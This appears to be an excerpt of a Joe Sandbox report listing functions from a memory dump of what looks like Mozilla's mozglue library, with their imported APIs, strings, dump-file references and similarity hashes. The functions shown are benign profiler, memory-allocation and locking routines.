Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EE577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE584
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EE8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5EE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5EE826, 6C5EE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5EE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5EE722, 6C5EE750, 6C5EE7A2
MOZ_PROFILER_STARTUP, xrefs: 6C5EE5A1, 6C5EE5CC, 6C5EE5FF, 6C5EE62A

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction ID: 39bf27d9e90d1baac4db604af5e5dd37337d43ef41b55021859276a121b277f0
Opcode Fuzzy Hash: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction Fuzzy Hash: 1411C431A04264DFCB009F1AC888B6DBBF4FFC9728F010519E88657651C7B8A805CFDA

Function 6C5F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0CD5

Part of subcall function 6C5DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0D40
free.MOZGLUE ref: 6C5F0DCB

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

free.MOZGLUE ref: 6C5F0DDD
free.MOZGLUE ref: 6C5F0DF2

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction ID: bab8025a9aa4eb61a4ca4f50f68266641b337de3cd6190bcdedef839de4bc89f
Opcode Fuzzy Hash: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction Fuzzy Hash: F9411471A087809BD720CF29C48079AFBE5BFC9614F558A2EE8E887711D770A845CF92

Function 6C5FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDA4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD158
Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDC4

Part of subcall function 6C5F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6015FC,?,?,?,?,6C6015FC,?), ref: 6C5F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCECC

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

Part of subcall function 6C5ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5FCEEA,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000), ref: 6C5ECB57
Part of subcall function 6C5ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5FCEEA,?,?), ref: 6C5ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD058

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction ID: 879e78360a411d97b5c7b7ac026dafbc59998bbc5e1c20b802ed3b57d85cdacb
Opcode Fuzzy Hash: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction Fuzzy Hash: CDD15D71A04B469FD718CF28C880B99F7E1BF89304F01866DD96987712EB71B965CF81

Function 6C5C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5C5D40
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67
__aulldiv.LIBCMT ref: 6C5C5DB4
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction ID: 5cdf1b7ede26d27e5f716df1938b1e259e9392feb3a7d64ad937e06b9cdd4693
Opcode Fuzzy Hash: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction Fuzzy Hash: 54517071F002298FCF08CFE9C894AAEBBB2FB85304F59462DD811A7750C7346945CB96

Function 6C5ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5ACF4E

Strings

0, xrefs: 6C5ACF30

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction ID: 9bc5628d6ed544f5354486608e6306c92b10276516dd9477ed6ce8d75e82b65f
Opcode Fuzzy Hash: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction Fuzzy Hash: BD512171A042568FCB01CF19C890AAABBB5EF99300F19859DD8595F752D732FD06CBE0

Function 6C5E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5E82BC,?,?), ref: 6C5E649B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E64A9

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E653F
free.MOZGLUE(?), ref: 6C5E655A

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction ID: 990e4a6c5b7bfcdbecc680458b6d647096665b742da5f0d009d51041a66f46f4
Opcode Fuzzy Hash: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction Fuzzy Hash: 003181B5A043059FC704CF14D88069EBBE4FF89314F40442EE85A97741DB34E919CB96

Function 6C5BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB4F5
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB502
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB542
free.MOZGLUE(?), ref: 6C5BB578

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction ID: 87d1e21dcf8f64cb89cdc75139f47cafdca46d96d00ca8120aa426b6a3e84de6
Opcode Fuzzy Hash: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction Fuzzy Hash: 5C11F030A04B00C7C3118F2AC9807A5B7B0FFD6318F10570AD84A63A02FBF4B1C18B96

Function 6C5E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5AF20E,?), ref: 6C5E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5AF20E,00000000,?), ref: 6C5E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5E3E0E

Part of subcall function 6C5DCC00: GetCurrentProcess.KERNEL32(?,?,6C5A31A7), ref: 6C5DCC0D
Part of subcall function 6C5DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5A31A7), ref: 6C5DCC16

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction ID: 54c36f2300aacf374a4ab28a68a95182243e461c5d95669c4df6d6bd7a5cba32
Opcode Fuzzy Hash: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction Fuzzy Hash: EDF012715002087FD700AB55DC81DAB376DEB86624F050020FE0957741D739BD5596FB

Function 6C5F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5F85D3

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5F8725

Strings

map/set<T> too long, xrefs: 6C5F8720

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction ID: 8744cc00671aabb540df735202770512f76d75cb83b376f8c0167df48dc31244
Opcode Fuzzy Hash: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction Fuzzy Hash: 94516474600641CFC705CF1AC884B5ABBF1BF5A318F18C58AD8695BB52C335E886CF92

Function 6C5ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5ABE8F

Strings

0, xrefs: 6C5ABE5B

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction ID: e1e1b2850043cf09a21d4318144441802e4d438342b90bb6193782944b4280db
Opcode Fuzzy Hash: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction Fuzzy Hash: 8C41B171909749CFC701DFBAC881A9FBBF4AF8A348F004A1DF98597611D730D94A8B92

Function 6C5E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5E3D6C

Strings

d, xrefs: 6C5E3D58

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction ID: b3de1599416444cc140386dc4567eb343d23b19b8ce20dcefd6d08b4140a8cc1
Opcode Fuzzy Hash: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction Fuzzy Hash: F3113431E04688D7DF018F6ECC444EDB775EFDA258F458229DC459B612EB34A984C390

Function 6C606DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C606E22
__Init_thread_footer.LIBCMT ref: 6C606E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C606E1D

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction ID: 024e4cc1d8689df441d8ceaff222fce83e046cd8f734c1fc08befb674e403705
Opcode Fuzzy Hash: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction Fuzzy Hash: 26F0FA30309380CAEB008B69CAA0EC277729742B18F040165C80186FA1CA29F987CF9F

Function 6C5B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B9EEF

Strings

NaN, xrefs: 6C5B9EC1
Infinity, xrefs: 6C5B9EB7

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction ID: fbaf3a5bb5981a9dc85788cc8266dce170ca99ea17aa831848620ec5fdbcdc7c
Opcode Fuzzy Hash: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction Fuzzy Hash: E5F0A970600262CAEB008F1ADE96B823BF1A35371AF600E19D5041AB80D73E7946CF8F

Function 6C5B6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C42

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C58

Strings

0K^l, xrefs: 6C5B6C33, 6C5B6C41, 6C5B6C57

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K^l
API String ID: 1967447596-3449559093
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7730db33859605fa4891f2fc2e51ff307dea3b65e17dffbf0f658fc81488f961
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 74E026F1A103004ADB0CD8799C2A52A79C8CB352A87044A35E826F3BC8FF34F9408051

Function 6C5BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5BBEF5

Strings

cryptbase.dll, xrefs: 6C5BBEF0

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction ID: 5a8e827c48539296f82e644b6e10bc4caaacba438bdb67aedd30e8c440003529
Opcode Fuzzy Hash: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction Fuzzy Hash: 99D0C731184208EAD740BA518D56B253B74E741755F10C421F79654961C7F5A451CF58

Function 6C5FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB628

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5FB127,?,?,?,?,?,?,?,?), ref: 6C5FB74D

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction ID: b712c67391636e8cc1ced318c4a05d7d813e26569a77d797f07b665b612d7291
Opcode Fuzzy Hash: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction Fuzzy Hash: 6651BF71A06216CBDB18EF18CD8065EB7B5FF85304F55852DC86AAB700E731A806CFA1

Function 6C5F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5F6EAB
